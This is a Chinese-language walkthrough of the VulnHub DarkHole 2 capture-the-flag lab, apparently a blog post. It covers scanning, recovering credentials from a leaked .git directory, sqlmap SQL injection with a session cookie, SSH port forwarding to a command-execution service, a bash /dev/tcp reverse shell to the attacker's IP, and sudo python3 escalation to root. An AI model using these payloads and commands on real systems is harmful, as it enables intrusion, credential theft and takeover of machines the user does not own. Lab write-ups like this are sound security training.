1.靶机部署
[Onepanda] Mik1ysomething
靶机下载:https://download.vulnhub.com/darkhole/darkhole_2.zip
直接使用VMware导入打开就行
注意:靶机的网络连接模式必须和kali一样,让靶机跟kali处于同一网段,这样kali才能扫出靶机的地址。
2.信息收集
2.1 获取靶机ip(arp-scan/nmap)
2.信息收集
2.1 获取靶机ip(arp-scan/nmap)
arp-scan -l nmap 192.168.135.0/24
2.2 详细信息扫描(nmap)
nmap -sS -T5 -sC -p- --min-rate 10000 192.168.135.135 nmap -sS -p---min-rate 10000 $ip
发现开放了80端口,访问一下看看
2.3 敏感目录扫描(dirsearch/dirb/gobuster/御剑/7bscan)
dirsearch -u http://192.168.135.135 -e * dirb http://192.168.135.135
2.4 指纹收集(whatweb)
whatweb -v 192.168.135.135
3.渗透过程
3.1 访问敏感目录文件
信息收集时发现存在.git目录,访问存在文件
3.2 git文件泄露
使用git-dumper工具分析git文件
没有的话安装地址:git-dumper/README.md at master · arthaud/git-dumper · GitHub
git-dumper: 一个.git文件夹的dump取,但是这个工具dump下的文件是可以执行git命令的
3.2.1 git-dumper下载git文件夹的内容到bf目录文件夹
3.2.2 bf文件夹中查看日志
git log命令解释:
3.2.3 对比三次提交
使用git里面的diff参数获得当前工作目录和上次提交的差距,三个哈希值一个一个尝试。
git diff 0f1d821f48a9cf662f285457a5ce9af6b9feb2c4 git diff a4d900a8d85e8938d3601f3cef113ee293028e10 git diff aa2a5f3aa15bb402f2b90a07d86af57436d64917
尝试到第二个发现一组用户名和密码信息
lush/321 lush@admin.com/321
3.3 登录网页
前面信息收集还有一个web网页端,尝试登录
登录成功
进入页面发现url里面存在id=1,发现id值是不是想到SQL注入。
当我们将id的值设置0或者null页面的消息消失。
尝试后面加个单引号,发现报错,确定存在SQL注入
3.4 SQL注入
3.4.1 获取网站的cookie的值
直接f12刷新找回包(不会?找不到?直接私信我手把手教你)
3.4.2 利用获取的cookie的值进行爆破(sqlmap)
sqlmap -u http://192.168.135.135/dashboard.php?id=1 --cookie PHPSESSID=tbd7j9nf62b8nhbimkqv86bvh7 --current-db sqlmap -u http://192.168.135.135/dashboard.php?id=1 --cookie PHPSESSID=tbd7j9nf62b8nhbimkqv86bvh7 -dbs sqlmap爆破得到数据库名darkhole_2
sqlmap基本操作笔记: -u #注入点 -f #指纹判别数据库类型 -b #获取数据库版本信息 -p #指定可测试的参数(?page=1&id=2 -p "page,id") -D "" #指定数据库名 -T "" #指定表名 -C "" #指定字段 -s "" #保存注入过程到一个文件,还可中断,下次恢复在注入(保存:-s "xx.log" 恢复:-s "xx.log" --resume) --level=(1-5) #要执行的测试水平等级,默认为1 --risk=(0-3) #测试执行的风险等级,默认为1 --time-sec=(2,5) #延迟响应,默认为5 --data #通过POST发送数据 --columns #列出字段 --current-user #获取当前用户名称 --current-db #获取当前数据库名称 --users #列数据库所有用户 --passwords #数据库用户所有密码 --privileges #查看用户权限(--privileges -U root) -U #指定数据库用户 --dbs #列出所有数据库 --tables -D "" #列出指定数据库中的表 --columns -T "user" -D "mysql" #列出mysql数据库中的user表的所有字段 --dump-all #列出所有数据库所有表 --exclude-sysdbs #只列出用户自己新建的数据库和表 --dump -T "" -D "" -C "" #列出指定数据库的表的字段的数据(--dump -T users -D master -C surname) --dump -T "" -D "" --start 2 --top 4 # 列出指定数据库的表的2-4字段的数据 --dbms #指定数据库(MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Access,SQLite,Firebird,Sybase,SAP MaxDB) --os #指定系统(Linux,Windows)
3.4.3 获取数据库darkhole_2下的表名
sqlmap -u http://192.168.135.135/dashboard.php?id=1 --cookie PHPSESSID=tbd7j9nf62b8nhbimkqv86bvh7 -D darkhole_2 --tables --batch 爆破得到两个表ssh/users
3.4.4 获取表里的列信息
sqlmap -u http://192.168.135.135/dashboard.php?id=1 --cookie PHPSESSID=tbd7j9nf62b8nhbimkqv86bvh7 -D darkhole_2 -T users -dump sqlmap -u http://192.168.135.135/dashboard.php?id=1 --cookie PHPSESSID=tbd7j9nf62b8nhbimkqv86bvh7 -D darkhole_2 -T ssh -dump 爆破得到ssh用户名和密码 jehad/fool
3.4.5 SSH连接
ssh jehad@192.168.135.135 jehad/fool
3.5 提权
3.5.1 查看权限
3.5.2 查找SUID文件
find / -perm -u=s -type f 2>/dev/null find / -user root -perm -4000 -print 2>/dev/null
3.5.3 查看计划任务
cat /etc/crontab
查看一下/opt/web下的文件内容
发现允许远程命令执行
3.5.4 查看历史命令
cat .bash_history
3.5.5 查看/etc/passwd文件
cat /etc/passwd |grep "bin/bash" 发现多个用户
3.5.6 详细查看服务(命令执行)
curl "http://localhost:9999/?cmd=cat%20/etc/passwd" curl "http://localhost:9999/?cmd=id"
可以查看到这个服务归属于用户losy
3.5.7 获取losy权限
重新登录ssh,使本地端口与靶机端口映射,访问本地端口转发到靶机 ssh jehad@192.168.135.135 -L 9999:localhost:9999 ssh -L 9999:127.0.0.1:9999 jehad@192.168.135.135
3.5.8 反弹shell
在之前我们通过查看历史命令发现可以进行远程命令执行,而命令执行的角色属性是losy用户的。使用SSH 隧道连接端口 9999,访问 127.0.0.1:9999 进行 RCE。
kali构造 bash -c 'sh -i >& /dev/tcp/192.168.135.129/1234 0>&1' url编码: bash+-c+%27sh+-i+%3e%26+%2fdev%2ftcp%2f192.16 8.135.129%2f1234+0%3e%261%27
kali使用nc开启端口监听
nc -lvnp 1234
kali可以在浏览器直接访问:
http://127.0.0.1:9999/?cmd=bash+-c+%27sh+-i+%3e%26+%2fdev%2ftcp%2f192.16 8.135.129%2f1234+0%3e%261%27
也可以通过curl的访问
curl http://127.0.0.1:9999/?cmd=bash+-c+%27sh+-i+%3e%26+%2fdev%2ftcp%2f192.16 8.135.129%2f1234+0%3e%261%27
成功拿到losy权限
直接交互式shell
python3 -c 'import pty; pty.spawn("/bin/bash")'
历史命令history查看发现password密码:gang
直接ssh连接losy用户
ssh losy@192.168.135.135
sudo -l 利用python提权 sudo python3 -c 'import pty; pty.spawn("/bin/bash")' sudo python3 -c 'import os; os.system("/bin/bash")'
cd /root cat root.txt 获取到flag文件
本篇文章渗透结束 感谢大家的观看!!